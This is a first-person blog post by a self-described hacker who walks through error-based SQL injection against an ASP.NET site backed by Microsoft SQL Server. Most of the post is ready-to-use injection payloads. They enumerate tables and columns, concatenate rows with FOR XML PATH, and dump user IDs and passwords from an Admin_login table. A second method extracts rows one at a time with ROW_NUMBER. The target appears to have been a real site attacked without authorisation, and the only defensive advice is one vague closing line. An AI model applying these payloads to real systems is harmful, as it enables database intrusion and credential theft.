SQL Injection Data Extraction through .NET framework error.
Hello, I am Atmanand Nagpure(proghax333). I am a computer researcher and a hacker. This is the story about how I figured out a way to extract data from the Microsoft SQL Server database by producing .NET unhandled exceptions. This technique works where there is join, union, or other stuff in the original query.
So, the problem I faced was: I was trying union-based injection on a website, but the website wasn’t giving me the proper number of columns in the response when I was trying the order by styled injection. It gave me the number of columns of the first table in the group of joined queries. So, I tried to figure out another approach to extract data from the query.
Interestingly enough, from the injection and invalid inputs, I found out that the server technology was the Microsoft SQL server. So, decided to search for some exploits. But, they weren’t working.
Remember, I was trying to extract data. Wasn’t trying to execute an insert query or update query.
So, I tried a non-closed string comparison in an AND statement attached to the original query. Here’s how it looked:
URL: http://www.example.com/Department/FacultyDetailViewN.aspx?Id=817' and 1=” — -+
Okay, now I got really motivated. Started to think that somehow we can extract the data embedded in the resulting error. Let the error appear. Extract data through error.
So, after keeping the vision in mind, I started to write a nested SQL query and comparing it with the integer number: 1, like given below:
?Id=817' and 1=(select table_name from information_schema.tables) — -+
And it gave me this… Umm… Yeah… But, It wasn’t the real big problem though…
So, I decided to return only one row as the query result. For testing purpose, I used the select top 1, which returns the first row of the table. So, yeah… I used it and Voila! I got the first table_name from information_schema.tables!
?Id=817' and 1=(select top 1 table_name from information_schema.tables) — -+
So, after solving first problem there came another problem which was related to the SQL Server language syntax: THERE WAS NO ‘LIMIT m,n’ syntax for MSSQL!!! No ranging operator!!! What to do now? Because, comparison can happen only between single-single values.
Then, I found used a great SQL Server hack, which concats all rows into a single XML. The legendary FOR XML(‘ ’) hack!
Note: The DB_NAME() function returns the name of current database in MSSQL.
Here’s what I did:
?Id=817' and 1=(select cast(concat(db_name(),0x3a,0x3a,table_name,0x0a) as varchar(8000)) from information_schema.tables for xml path(‘’)) — -+
Now, next phase was to get columns of the Admin_login table. Just used the generic where condition.
?Id=817' and 1=(select cast(concat(db_name(),0x3a,0x3a,column_name,0x0a) as varchar(8000)) from information_schema.columns where table_name=’Admin_login’ for xml path(‘’)) — -+
Now, everything was simple. Only thing I had to do was to perform a simple SQL Select query to the table:
817' and 1=(select cast(concat(UId,0x3a,0x3a,Pwd,0x0a) as varchar(8000)) from Admin_login for xml path(‘’)) — -+
That was it! That was my first approach!
Approach 2(Really? Huh?):
So, here is another query which I used to extract data row by row using a simple hack: The ROW_NUMBER() function.
817' and 1=(SELECT concat(0x35,0x34,0x35,0x31,0x35,0x46,0x46,0x41,0x45,0x39,0x42,0x32,0x37,0x36,0x39,0x31,0x41,0x31,0x30,0x31,0x41,db_name(),0x3a,0x3a,table_name,0x37,0x41,0x46,0x34,0x35,0x38,0x36,0x30,0x43,0x41,0x35,0x45,0x43,0x38,0x46,0x41,0x43,0x45,0x37,0x33) FROM (SELECT ROW_NUMBER() OVER(ORDER BY (select NULL as noorder)) AS RowNum, * FROM information_schema.tables) as alias WHERE RowNum BETWEEN 1 AND 1) — -”;
So, developers must take utmost care and precautions to keep the data secure and not leak the interface and direct object reference to the outsiders. Upgrade your servers to the latest Microsoft SQL Server 2017 or later releases.
That’s All for today!